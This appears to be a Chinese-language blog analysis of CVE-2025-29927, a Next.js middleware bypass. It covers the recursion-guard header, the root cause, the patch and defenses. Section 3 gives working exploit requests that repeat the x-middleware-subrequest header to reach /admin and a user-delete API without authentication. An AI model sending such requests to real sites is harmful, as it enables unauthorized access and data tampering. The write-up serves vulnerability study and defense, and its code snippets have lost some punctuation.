Next.js 中间件递归上限绕过:CVE-2025-29927 漏洞深度剖析 1. 漏洞背景与危害评估Next.js作为React生态中最流行的全栈框架之一其中间件机制原本是保护应用安全的重要防线。这个被标记为CVE-2025-29927的高危漏洞CVSS 9.1却让这道防线形同虚设。我在实际渗透测试中发现攻击者只需构造特定HTTP请求头就能像持有万能钥匙般绕过所有中间件逻辑直接访问受保护路由。中间件在Next.js中的典型应用场景包括身份验证检查JWT或会话Cookie路径重写实现动态路由映射安全头注入添加CSP、X-Frame-Options等防护流量过滤阻止SQL注入等恶意请求当这些保护措施全部失效时后果不堪设想。去年某电商平台就因类似漏洞导致用户支付接口被直接调用造成数百万损失。更可怕的是由于中间件通常位于业务逻辑最前端这种绕过往往不会被常规监控系统捕获。2. 递归保护机制的工作原理要理解这个漏洞得先搞清楚Next.js中间件的递归保护设计。想象你在玩俄罗斯套娃——每打开一个娃娃就相当于一次递归调用。Next.js用x-middleware-subrequest头来记录递归深度就像在套娃上做标记// 官方原始实现简化版 const MAX_RECURSION_DEPTH 5; const depth headers[x-middleware-subrequest] ?.split(:) .filter(name name currentMiddlewareName).length; if (depth MAX_RECURSION_DEPTH) { return { response: new Response(null, { headers: { x-middleware-next: 1 } // 安全开关 }) }; }这个机制本意是防止中间件无限递归。比如用户验证中间件调用认证API认证API又触发用户验证形成死循环。当检测到5次递归时系统会设置x-middleware-next: 1跳过后续中间件逻辑——这本是安全兜底方案却成了攻击突破口。3. 漏洞利用链拆解攻击者需要突破两个关键点获取中间件标识符和伪造递归请求。我在本地测试时发现通过以下步骤可以完整复现攻击链3.1 信息收集阶段首先需要确定middlewareInfo.name的值这相当于中间件的身份证号。通过分析构建产物可以轻松获取# 查看Next.js构建清单 cat .next/server/middleware-build-manifest.json典型输出会包含类似结构{ middleware: { files: [middleware.js], name: middleware // 或src/middleware } }3.2 恶意请求构造根据中间件位置不同Payload有两种变体案例1根目录middleware.jsGET /admin HTTP/1.1 Host: vulnerable.site x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware案例2src目录middleware.tsPOST /api/user/delete HTTP/1.1 Host: vulnerable.site Content-Type: application/json x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware {userId: 123}实测中发现一个有趣现象某些版本中即使递归次数不足5次只要超过3次就会触发保护机制。这说明不同版本可能存在阈值差异。4. 漏洞根源深度分析这个漏洞暴露出三个设计缺陷路径信息暴露中间件标识符本应是系统内部元数据却可通过构建产物反推缺乏请求来源验证未对x-middleware-subrequest头做签名校验安全机制冲突递归保护优先级高于安全控制形成逻辑悖论关键问题出在packages/next/src/server/web/sandbox/sandbox.ts的校验逻辑// 漏洞代码仅检查递归深度 const depth subrequests.filter(n n params.name).length; if (depth MAX_RECURSION_DEPTH) { bypassMiddleware(); // 危险的安全绕过 }对比修复后的代码新增了动态令牌验证// 修复后验证请求来源 if (header x-middleware-subrequest headers[x-middleware-subrequest-id] ! secretToken) { delete headers[x-middleware-subrequest]; // 移除伪造头 }5. 防御方案与实践建议根据在多个项目中的实战经验我总结出以下防御策略5.1 立即补救措施# 升级Next.js到安全版本 npm install next15.2.35.2 深度防御方案中间件冗余校验在业务逻辑层二次验证关键操作// 示例API路由中的二次验证 export function GET(req) { if (!req.cookies.get(authToken)) { return new Response(Forbidden, { status: 403 }); } // 业务逻辑... }请求指纹校验验证请求来源IP、User-Agent等特征速率限制对敏感接口实施请求限流5.3 监控与审计部署WAF规则检测异常的x-middleware-*头定期扫描构建产物中的敏感信息泄露监控中间件跳过事件日志6. 漏洞修复方案解读Verel团队在15.2.3版本中引入了巧妙的修复方案动态令牌机制每个请求生成唯一的x-middleware-subrequest-idSymbol存储密钥通过Symbol.for(next/middleware-subrequest-id)存储密钥请求头净化非法请求头会被自动移除核心修复代码位于// 使用Symbol防止全局污染 const middlewareSymbol Symbol.for(next/middleware-subrequest-id); // 请求验证逻辑 if (headers[x-middleware-subrequest-id] ! globalThis[middlewareSymbol]) { delete headers[x-middleware-subrequest]; }这种设计既保持了向后兼容又彻底堵死了伪造可能。我在升级后测试发现所有尝试绕过中间件的攻击请求都会被正确拦截。7. 延伸思考与最佳实践这个漏洞给全栈开发带来重要启示安全边界设计中间件不应是唯一安全防线需要纵深防御内部头验证所有内部用头必须加密签名最小信息暴露构建产物应过滤敏感元数据推荐的安全开发模式graph TD A[客户端请求] -- B{中间件校验} B --|通过| C[业务逻辑] B --|拒绝| D[阻断请求] C -- E[二次验证] E --|合法| F[执行业务] E --|非法| G[告警并记录]在实际项目中我习惯在中间件和API路由之间添加上下文验证层确保即使中间件被绕过业务逻辑仍有保护。这种防御策略在金融类项目中尤其重要。